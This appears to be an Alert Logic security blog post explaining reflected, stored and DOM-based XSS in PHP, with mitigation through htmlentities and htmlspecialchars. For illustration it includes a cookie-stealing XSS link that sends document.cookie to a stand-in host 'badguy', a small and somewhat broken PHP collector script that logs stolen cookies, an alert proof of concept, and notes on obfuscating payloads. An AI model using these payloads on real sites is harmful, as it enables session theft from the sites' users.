The final class of vulnerability we will be exploring are client-side injection attacks. In prior blogs, we discussed different types of server-side injection vulnerabilities including SQL injection and command injection and how to mitigate each vulnerability using the simplified approach of sanitizing any and all user-controlled input that may be passed to the database or some kind of PHP function that interfaces with the operating system or executes an operating system command. Client-side injection attacks can be classified as JavaScript injection or XSS, HTML injection, and in many cases, even CSRF attacks. Client-side injection attacks differ from server-side injections in that they target a website’s user base instead of actual endpoints or assets. And it’s because of this that many system admins still write off the threat as something that doesn’t really affect them.

They see the worst result of an XSS as something that can steal their client’s cookies, that’s it. No biggie. After all, is it up to the system admin to protect everyone in his or her userbase? Well — within reason — the answer is yes.

What Causes Cross-Site Scripting (XSS) or HTML Iinjection?

In PHP, XSS and HTML injection attacks — in the most simplified and common form — are usually (though not always) caused by echoing user-controlled HTML, JavaScript, or both through a PHP interpreter without proper sanitization. For example, search forms where a user-controlled search query is placed within a form and echoed back into the URL are common places to find non-persistent XSS vulnerabilities:


XSS can be a very tricky vulnerability and on complex websites with rich user-based experiences, these vulnerabilities can pop up in the strangest of places. And sadly, sanitizing all of your server-side inputs can still leave you exposed to certain types of XSS attacks. Let’s not get ahead of ourselves though and start panicking. Let’s first discuss the three different types of XSS, take a brief look at their causes and also the risk they impose on both the visitor and the administrator.

Non-Persistent XSS

We’ve already discussed non-persistent XSS vulnerabilities briefly above, but I didn’t actually explain it in any detail. These vulnerabilities affect the client only and usually come from echoing HTML or JavaScript through the PHP interpreter. The search form I mentioned up above where the search query is echoed back and displayed in the URL via a GET request is one of the most common examples I can think of and back in the mid 2000s-2011 it seemed like more than half the websites online were affected with some form of non-persistent XSS. You can look at the now pretty much defunct to get an idea of just how many of the Alexa top 500 sites were affected back then. This was before bug bounty programs started popping up everywhere and back then to point out non-persistent XSS (any vulnerability actually) vulnerable software to a system administrator was a risk that could get you in trouble or at the least cursed out. They’d say this wasn’t a vulnerability that affected the web servers directly. I believe the laissez faire attitude back then was due to a lack of understanding of the risks of these vulnerabilities more than anything else. Non-persistent XSS could definitely lead to some bad situations and has, but let’s look at an example. Check out the code below.

A simple code example of a non-persistent XSS:

A simple code example of a non-persistent XSS

This is a simple search function illustrating a non-persistent XSS vulnerability. The search code is below, but the actual vulnerability is above. If this site was a password protected, you could feed a link to your victim like the one below (simplified):


The result? A password prompt to a potential victim:

example of sql injection javascript

Another option — the one that XSS is probably best known for — is cookie theft. We could also craft a link that forwards the victim’s session cookie to a script we have running on our own server:

.com/vulnlogic/xss.php?search=test”><script>document.location="http://badguy/gibsmecookie.php?cookie="+ document.cookie+"&location="+document.location;</script>

To retrieve the cookie on our own backend we’d have our givemecookie.php script running:

    $cookie = $_GET["cookie"];
    $loc = $_GET[‘location’];
    if(fopen('log.txt', 'a')){
     fwrite(“log.txt”, $cookie . "\n");
     fwrite(“log.txt”, $loc. “\n\n”);

This code will receive the cookies when the victim clicks the link and store them in a file called log.txt.

Of course, both of the above links may come off as pretty blatant to those who know better, but we have a few options to obfuscate our payload. We can use string. FromCharCode(), different types of encoders, or a combination of both. URL shorteners can also be used. In addition to obfuscation, we can also use JavaScript source files to hide larger, more effective payloads that may be used to do multiple things such as probing services running on the user’s system by running internal port scans, and even deliver exploits to the browser. So — just to be clear — non-persistent XSS only takes place on the client, not the server. This means the victim would actually have to click–knowingly or unknowingly — the malicious link for the payload the execute.

Persistent or Stored XSS

Persistent XSS is much more dangerous than non-persistent XSS in that it doesn’t require a target to click a link to become a victim of its attack. A persistent XSS will be stored on the server (or more likely its database) so every time a page loads, it reloads the malicious JavaScript. For example, think of a guestbook application where comments can be written underneath a topic or user. The standard functionality of a guestbook application is usually: User posts comment, comment is inserted into some kind of database, then the comment is presented back on the webpage for view. The “persistence” part of the attack is due to the fact that the payload is stored in the database. Therefore, every time the page is loaded, the comment — and by extension the JavaScript within it—is loaded too. I’ve added some sample code below of a very simplified version of the vulnerable guestbook we’ve been discussing. The code essentially mimics the scenario discussed above where the user types a comment, it gets inserted into a database, then quickly reflected back onto the webpage.

javascript exploit example

Adding the simple proof of concept code below:

<script>alert(String.fromCharCode(72, 65, 67, 75, 69, 68));</script>

JavaScript code injection alert

And whenever the page is loaded this code will reload again and again until someone purges the payload from the database.

Click to watch our MDR demo

How Do We Protect Ourselves?

Fixing persistent and non-persistent XSS or HTML injection can be challenging in some situations — especially with the continued rise and innovation around client-side technologies and the growth of JavaScript Frameworks and methodologies that make the web experience more elegant and user friendly (AJAX, JQuery, AngularJS, etc.). Luckily for programmers PHP does have well-known built-in functions to sanitize against JavaScript injections called HTMLentities() and HTMLspecialchars().

These functions will sanitize user-controlled data being passed to forms or functions by converting dangerous characters to their corresponding HTML entity. I added functions because sanitizing against XSS can be a little more involved than sanitizing user input for command injection or SQL injection. In each of the aforementioned vulnerabilities, you probably know where the possible vulnerability is, therefore you can test and apply trial and error to come to the best fix for the situation. With JavaScript attacks you have to sanitize similarly, but also application wide. You have to trace each input through the application and see exactly how it’s handled on both sides (client and server). Defining the proper Character-Set header is important too. For instance, if the Character-Set is correctly set to application/json when passing JSON data, JavaScript will not be allowed to execute.

Back to our simplified examples. As mentioned, we can mitigate our vulnerabilities programmatically with PHP’s HTMLentities or HTMLspecialchars. You will have to decide which is best depending on whether you’re planning on returning a string value or using just basic string sanitization.

Our Non Persistent XSS mitigated:

screenshot of non persistent xss mitigated

Our Persistent XSS mitigated:

screenshot of persistent xss mitigated

The result is our persistent XSS payload is now just displayed text:

result of our persistent xss payload displayed as text

The same goes for our non-persistent XSS payload:

non-persistent xss payload displayed as text

What about Document Object Model (DOM) Based XSS?

To understand DOM-based XSS, you really need to have (at the least) a basic understanding of the DOM or Document Object Model. The DOM is a bit outside our scope today, but I’ll do my best to give you an ultra-high level run through. Before we discuss the DOM, it’s important to know that DOM-based XSS exists on the client-side.

At the highest level, the DOM essentially is a cross platform API used to understand, present, and manipulate HTML/XML/XHTML by interpreting each piece as an object or node. DOM-based XSS happens when the browser accepts and executes an XSS attack payload due to the result of the DOM environment executing the original script. It sounds confusing but simplified it’s just using the DOM API to leverage a script to do something unexpected or malicious. This could be to execute code within the user’s browser or manipulate DOM properties like location.href to create an open redirect situation. The important thing to keep in mind when mitigating the XSS menace is that we need to trace and sanitize all inputs through your application, as well as ensure any JQuery or third-party JavaScript libraries or frameworks are up to date. There are still way too many websites using vulnerable JQuery libraries.

Click to watch our MDR demo

Well, this concludes the last part of this series. Be sure to keep a look out for my WAF and filter bypass articles. I will explain why your security posture must be spread out (somewhat) equally on multiple fronts. I’ll show you how WAFs and strong filters can be bypassed by determined attackers to execute code. As usual, we will look at the code and regexp filters on the backend, break it down programmatically, then find the flaw that gives us access to the goods. Until then, keep learning. The only way to be efficient at security is to understand both sides of it.

Fortra's Alert Logic
About the Author
Fortra's Alert Logic

Related Post

Ready to protect your company with Alert Logic MDR?